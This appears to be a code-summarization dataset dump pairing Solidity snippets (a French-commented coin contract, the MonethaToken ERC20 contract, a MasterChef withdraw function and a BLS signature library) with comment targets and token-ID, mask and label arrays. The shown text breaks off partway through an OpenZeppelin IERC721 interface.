/* On vérifie que l'expéditeur peut bien envoyer ce montant */
require(usr.coins >= amount);
/* On vérifie que l'expéditeur est bien celui qu'il prétend être
* (on ajoute lastTransactionToBeMined pour ne pas que quelqu'un
* qui intercepte la signature soit en mesure de reproduite la transaction
* autant qu'il le souhaite. Ici on se base sur le fait que lastTransactionToBeMined
* est augmenté suffisament lentement pour qu'il n'y ait pas de conflit) */
uint tmp = uint(senderResolved) + uint(receiver) + amount + lastTransactionToBeMined;
if (checkSignature(hash(tmp), _v, _r, _s, msg.sender) == false) {
emit DebugLog(numberOfLogs++, "Echec de la vérification de la signature.");
return;
}
/* Envoi du montant :
* Création de la transaction, ajout de la transaction à la pile des
* transactions non validées (nonce nul) */
Transaction memory t = Transaction({previousTransactionHash: 0x0,
sender: usr.userAddress,
receiver: receiver,
amount: amount,
nonce: 0,
v: _v, r: _r, s: _s});
transactionsToBeMined[lastTransactionToBeMined++] = t;
/* On enlève directement les QC du portefeuille de l'expéditeur,
* même si la transaction n'est pas encore validée, pour éviter
* de dépenser plus que disponible */
usr.coins -= amount;
emit Sent(usr.userAddress, receiver, amount);
}
function newUser() public {
/* Ajout d'un nouvel utilisateur dans la base de donnée */
bytes32 h = hash(uint256(msg.sender));
resolveAddress[msg.sender] = h;
users[h] = User({coins: 0, userAddress: h, userNumberOfTransactionsInLedger: 0});
emit DebugLog(numberOfLogs++, "Utilisateur créé !");
}
}
| Ajout des coins et de la transaction dans le portefeuille du destinataire */ | users[t.receiver].coins += t.amount;
| 13,108,344 | [
1,
37,
78,
659,
2832,
276,
9896,
3393,
443,
7125,
2492,
26224,
884,
1756,
73,
3030,
89,
14120,
9978,
1570,
267,
396,
577,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
202,
5577,
63,
88,
18,
24454,
8009,
71,
9896,
1011,
268,
18,
8949,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0xaf4dce16da2877f8c9e00544c93b62ac40631f16
//Contract name: MonethaToken
//Balance: 0 Ether
//Verification Date: 8/31/2017
//Transacion Count: 54621
// CODE STARTS HERE
/**
* The Monetha token contract complies with the ERC20 standard (see https://github.com/ethereum/EIPs/issues/20).
* The owner's share of tokens is locked for the first year and all tokens not
* being sold during the crowdsale but the owner's share + reserved tokend for bounty, loyalty program and future financing are burned.
* Author: Julia Altenried
* Internal audit: Alex Bazhanau, Andrej Ruckij
* Audit: Blockchain & Smart Contract Security Group
**/
pragma solidity ^0.4.15;
contract SafeMath {
//internals
function safeMul(uint a, uint b) internal returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract MonethaToken is SafeMath {
/* Public variables of the token */
string constant public standard = "ERC20";
string constant public name = "Monetha";
string constant public symbol = "MTH";
uint8 constant public decimals = 5;
uint public totalSupply = 40240000000000;
uint constant public tokensForIco = 20120000000000;
uint constant public reservedAmount = 20120000000000;
uint constant public lockedAmount = 15291200000000;
address public owner;
address public ico;
/* from this time on tokens may be transfered (after ICO)*/
uint public startTime;
uint public lockReleaseDate;
/* tells if tokens have been burned already */
bool burned;
/* This creates an array with all balances */
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed _owner, address indexed spender, uint value);
event Burned(uint amount);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MonethaToken(address _ownerAddr, uint _startTime) {
owner = _ownerAddr;
startTime = _startTime;
lockReleaseDate = startTime + 1 years;
balanceOf[owner] = totalSupply; // Give the owner all initial tokens
}
/* Send some of your tokens to a given address */
function transfer(address _to, uint _value) returns(bool success) {
require(now >= startTime); //check if the crowdsale is already over
if (msg.sender == owner && now < lockReleaseDate)
require(safeSub(balanceOf[msg.sender], _value) >= lockedAmount); //prevent the owner of spending his share of tokens for company, loyalty program and future financing of the company within the first year
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = safeAdd(balanceOf[_to], _value); // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract or person to spend some tokens in your behalf */
function approve(address _spender, uint _value) returns(bool success) {
return _approve(_spender,_value);
}
/* internal approve functionality. needed, so we can check the payloadsize if called externally, but smaller
* payload allowed internally */
function _approve(address _spender, uint _value) internal returns(bool success) {
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/* A contract or person attempts to get the tokens of somebody else.
* This is only allowed if the token holder approved. */
function transferFrom(address _from, address _to, uint _value) returns(bool success) {
if (now < startTime)
require(_from == owner); //check if the crowdsale is already over
if (_from == owner && now < lockReleaseDate)
require(safeSub(balanceOf[_from], _value) >= lockedAmount); //prevent the owner of spending his share of tokens for company, loyalty program and future financing of the company within the first year
var _allowance = allowance[_from][msg.sender];
balanceOf[_from] = safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
/* to be called when ICO is closed. burns the remaining tokens except the company share (60360000), the tokens reserved
* for the bounty/advisors/marketing program (48288000), for the loyalty program (52312000) and for future financing of the company (40240000).
* anybody may burn the tokens after ICO ended, but only once (in case the owner holds more tokens in the future).
* this ensures that the owner will not posses a majority of the tokens. */
function burn() {
//if tokens have not been burned already and the ICO ended
if (!burned && now > startTime) {
uint difference = safeSub(balanceOf[owner], reservedAmount);
balanceOf[owner] = reservedAmount;
totalSupply = safeSub(totalSupply, difference);
burned = true;
Burned(difference);
}
}
/**
* sets the ico address and give it allowance to spend the crowdsale tokens. Only callable once.
* @param _icoAddress the address of the ico contract
* value the max amount of tokens to sell during the ICO
**/
function setICO(address _icoAddress) {
require(msg.sender == owner);
ico = _icoAddress;
assert(_approve(ico, tokensForIco));
}
/**
* Allows the ico contract to set the trading start time to an earlier point of time.
* (In case the soft cap has been reached)
* @param _newStart the new start date
**/
function setStart(uint _newStart) {
require(msg.sender == ico && _newStart < startTime);
startTime = _newStart;
}
}
| Subtract from the sender
| balanceOf[_from] = safeSub(balanceOf[_from], _value); | 2,540,239 | [
1,
27904,
628,
326,
5793,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
202,
12296,
951,
63,
67,
2080,
65,
273,
4183,
1676,
12,
12296,
951,
63,
67,
2080,
6487,
389,
1132,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x646b37a214c38B42d4303866af07CA9c3Df2171D/sources/RTRAND_Token.sol | Withdraw LP tokens from MasterChef. | function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accRTRANDPerShare).div(1e12).sub(user.rewardDebt);
safeRTRANDTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accRTRANDPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
| 15,487,132 | [
1,
1190,
9446,
511,
52,
2430,
628,
13453,
39,
580,
74,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
598,
9446,
12,
11890,
5034,
389,
6610,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
3576,
18,
15330,
15533,
203,
3639,
2583,
12,
1355,
18,
8949,
1545,
389,
8949,
16,
315,
1918,
9446,
30,
486,
7494,
8863,
203,
3639,
1089,
2864,
24899,
6610,
1769,
203,
3639,
2254,
5034,
4634,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
54,
4349,
4307,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
2934,
1717,
12,
1355,
18,
266,
2913,
758,
23602,
1769,
203,
3639,
4183,
54,
4349,
4307,
5912,
12,
3576,
18,
15330,
16,
4634,
1769,
203,
3639,
729,
18,
8949,
273,
729,
18,
8949,
18,
1717,
24899,
8949,
1769,
203,
3639,
729,
18,
266,
2913,
758,
23602,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
54,
4349,
4307,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
1769,
203,
3639,
2845,
18,
9953,
1345,
18,
4626,
5912,
12,
2867,
12,
3576,
18,
15330,
3631,
389,
8949,
1769,
203,
3639,
3626,
3423,
9446,
12,
3576,
18,
15330,
16,
389,
6610,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
//
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
//
pragma solidity ^0.8.9;
import "./AltBn128.sol";
/// @title BLS signatures verification
/// @dev Library for verification of 2-pairing-check BLS signatures, including
/// basic, aggregated, or reconstructed threshold BLS signatures, generated
/// using the AltBn128 curve.
library BLS {
/// @dev Creates a signature over message using the provided secret key.
function sign(bytes memory message, uint256 secretKey)
external
view
returns (bytes memory)
{
AltBn128.G1Point memory p_1 = AltBn128.g1HashToPoint(message);
AltBn128.G1Point memory p_2 = AltBn128.scalarMultiply(p_1, secretKey);
return AltBn128.g1Marshal(p_2);
}
/// @dev Wraps the functionality of BLS.verify, but hashes a message to
/// a point on G1 and marshal to bytes first to allow raw bytes
/// verification.
function verifyBytes(
bytes memory publicKey,
bytes memory message,
bytes memory signature
) external view returns (bool) {
AltBn128.G1Point memory point = AltBn128.g1HashToPoint(message);
bytes memory messageAsPoint = AltBn128.g1Marshal(point);
return verify(publicKey, messageAsPoint, signature);
}
/// @dev Verify performs the pairing operation to check if the signature
/// is correct for the provided message and the corresponding public
/// key. Public key must be a valid point on G2 curve in an
/// uncompressed format. Message must be a valid point on G1 curve in
/// an uncompressed format. Signature must be a valid point on G1
/// curve in an uncompressed format.
function verify(
bytes memory publicKey,
bytes memory message,
bytes memory signature
) public view returns (bool) {
AltBn128.G1Point memory _signature = AltBn128.g1Unmarshal(signature);
return
_verify(
AltBn128.g2Unmarshal(publicKey),
AltBn128.g1Unmarshal(message),
_signature
);
}
function _verify(
AltBn128.G2Point memory publicKey,
AltBn128.G1Point memory message,
AltBn128.G1Point memory signature
) public view returns (bool) {
return
AltBn128.pairing(
AltBn128.G1Point(signature.x, AltBn128.getP() - signature.y),
AltBn128.g2(),
message,
publicKey
);
}
}
| @dev Wraps the functionality of BLS.verify, but hashes a message to a point on G1 and marshal to bytes first to allow raw bytes verification. | function verifyBytes(
bytes memory publicKey,
bytes memory message,
bytes memory signature
) external view returns (bool) {
AltBn128.G1Point memory point = AltBn128.g1HashToPoint(message);
bytes memory messageAsPoint = AltBn128.g1Marshal(point);
return verify(publicKey, messageAsPoint, signature);
}
| 966,269 | [
1,
20785,
326,
14176,
434,
605,
3045,
18,
8705,
16,
1496,
9869,
279,
883,
358,
1377,
279,
1634,
603,
611,
21,
471,
10893,
358,
1731,
1122,
358,
1699,
1831,
1731,
1377,
11805,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
3929,
2160,
12,
203,
3639,
1731,
3778,
12085,
16,
203,
3639,
1731,
3778,
883,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
3903,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
27116,
38,
82,
10392,
18,
43,
21,
2148,
3778,
1634,
273,
27116,
38,
82,
10392,
18,
75,
21,
2310,
774,
2148,
12,
2150,
1769,
203,
3639,
1731,
3778,
883,
1463,
2148,
273,
27116,
38,
82,
10392,
18,
75,
21,
8105,
12,
1153,
1769,
203,
203,
3639,
327,
3929,
12,
482,
653,
16,
883,
1463,
2148,
16,
3372,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at polygonscan.com on 2022-01-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-12-18
*/
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
